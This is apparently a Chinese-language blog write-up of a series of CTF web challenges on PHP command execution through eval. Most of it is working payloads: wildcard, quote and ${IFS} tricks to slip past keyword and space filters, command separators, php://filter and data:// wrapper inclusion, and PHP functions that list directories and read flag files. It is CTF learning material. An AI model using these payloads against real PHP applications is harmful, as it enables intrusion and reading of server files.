笔记记在了另一个博客里面
第一次学命令执行 看了各路大佬的wp以及讲解视频 才能勉强拿到flag
视频 我这里就不细写了 自己也是一知半解 就不丢人了
大概学了手反引号和通配符的知识 虽然利用通配符 比如?c=system("cat f*");
?c=system("cat fl``ag.php");
听说还有more | less | head | sort | tail | sed | cut | awk | strings | od | curl这么多东西能绕过
比29多过滤了system 那就用echo+反引号
1.?c=echo `cat f*`;
2.?c=echo `nl fl'ag'.p'hp'`;//nl与cat差不多一样
又比上面多过滤了system和cat 还有空格 空格的绕过在笔记里我也记了
所以最终payload就是
?c=echo(`nl%09f*`);
好像include通杀了 用到了php://filter伪协议 以及为什么要BASE64 不会的自己学 可以看别人某些代码审计题的wp 比如 极客大挑战 2019 Secret File 这种题 有大佬会详细解释这两个东西
/?c=include$_POST[a]?>
然后hackbar a=php://filter/read=convert.base64-encode/resource=flag.php
用data协议通杀payload
?c=data://text/plain,<?= system("cat f*");?>
1.?c=ls;
2.?c=cat f*;
这题不难 主要是记录一下这一串东西" >/dev/null 2>&1"
第一次见 抄一下这个博客
以及参考博客
1、文件描述符 Linux系统预留可三个文件描述符:0、1和2,他们的意义如下所示:
bash 0——标准输入(stdin) 1——标准输出(stdout) 2——标准错误(stderr)
2、重定向 重定向的符号有两个:>或>>,两者的区别是:前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部。
3、Linux特殊文件 /dev/null是一个特殊的设备文件,这个文件接收到任何数据都会被丢弃。因此,null这个设备通常也被称为位桶(bit
bucket)或黑洞。 所以,2>/dev/null的意思就是将标准错误stderr删掉。
过滤了分号以及cat命令 但是我们都知道有很多命令能用 这里我用的tac
44多过滤了个flag 但是我们都知道用*号通配符来绕过
payload:?c=tac f*%0a
这里附上一个博客里的 这个博客特别实用
一些命令分隔符:
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a
比上题只多过滤了空格而已 我用的url编码%09绕过 还是这张图 payload懒得放了
又多过滤了数字和 星号 坏了 但是我们还有其他的通配符 但是这里我用?试了半天没成 就直接用引号绕过了
?c=tac%09fla""g.p""hp%0a
同上 通杀
好像是%09不给绕了 换成<
去当空格绕过
?c=tac<fla""g.p""hp%0a
我最爱的tac无了 那就换nl 不过这样不是回显在页面上的 得查看源码
?c=nl<fl""ag.p""hp||
用了hint的payload 不太明白
2021.3.4更新:明白了 flag.php里面的是假的 然后我们ls一下根目录 命令?c=ls${IFS}/||
然后发现是根目录下有flag 所以我们需要 去查看这个根目录下的文件 于是顺便试了下引号绕过
My payload:?c=ta%27%27c${IFS}/fla""g||
hint给的payload:?c=nl$IFS/fla''g||
手机写的题 也是手机写的博客 所以直接上payload
?c=nl${
IFS}fl''ag.p''hp%0a
这题过滤的东西太多了 难顶 从自己笔记中找到了一个叫uniq的命令成功过了
payload:uniq${IFS}f???????
然后是官方给的payload 还向atao师傅请教了一下 为什么必须得有/bin
/bin/?at${IFS}f???????
我们知道cat命令的路径是/bin/cat 而通配符是去绝对路径中找文件 直接?at的话 是行不通的 不能用通配符直接来执行命令 但是用路径就行(好像具体是叫什么硬链接和软链接啥啥啥的)
atao师傅yyds
过滤字母之后的我直接懵逼 只好去抄wp 看了Firebasky和bfengj 师傅 学到很多姿势
1.首先是/bin这个目录。
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod
df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
所以跟上一题一样 我们用?通配符去完成命令执行
由于过滤了字母 所以我们考虑用base64
payload:/???/????64 ????????
虽然说hint给的payload通杀 但是那就失去了学习的意义
就像群主讲解视频里面也是在不停的换新姿势 这样才能打好基础
c=show_source("flag.php");
类似的几个函数也可以使用
c=highlight_file('flag.php');
web60 我用的是rename函数
c=rename("flag.php","flag.txt"); 然后直接访问flag.txt就行
看了大佬的解法 发现有copy函数 用法与rename相同 接着在Y4的博客中学了许多姿势
注:web61开始rename和copy被ban了
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
先给出Y4的两条命令 这才叫炫技
1.c=$a=opendir('./');while(($file = readdir($a)) !=false){
echo $file." ";}
2.c=print_r(scandir(current(localeconv())));
可以得到大概这样的
Array ( [0] => . [1] => … [2] => flag.php [3] => index.php )
然后payload:
我们知道current()返回当前值 flag.php是倒数第二个 所以就是reverse数组之后next一次
(当然喜欢正着来也行) 我只是学骚姿势
c=show_source(next(array_reverse(scandir(current(localeconv())))));
习惯性操作了一手 然后hhh
system是被ban的 但是scandir没有
所以去看了一下目录 当前目录没东西 根目录下发现flag.txt
show_source
也没了 用highlight_file
c=print_r(scandir('/'));
c=highlight_file('/flag.txt');
看大佬博客之后发现也可以利用文件包含
c=include('/flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');新学的
百度了一下 require_once()和require() 区别只是
require_once()语句在脚本执行期间包含并运行指定文件(通俗一点,括号内的文件会执行一遍)。此行为和require()语句类似,唯一区别是如果该文件中的代码已经被包含了,则不会再次包含
奇怪的两题 进去index.php都无 尝试包含一下 报错
Fatal error: Allowed memory size of 134217728 bytes exhausted (tried
to allocate 262144 bytes) in /var/www/html/index.php(17) : eval()'d
code on line 1
hint里面说的是 发现字节太大了 直接盲猜 c=include(’/flag.txt’)
抱着练习的心理 我们去尝试一下其他的 用上一题的payload看根目录 发现print_r没了
但是我们还有var_dump() 然后同上
WEB69
知识面不够用 var_dump()没了 我蒙了 百度一下替代的 有var_export()
去翻Y4的blog 又学到了 Y4师傅TQL
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){
echo($f->__toString()." ");}
借助DirectoryIterator类去遍历目录 太秀了 大家可以自己去学一学 这边原本想细细解释的 然后懒了 去恰饭咯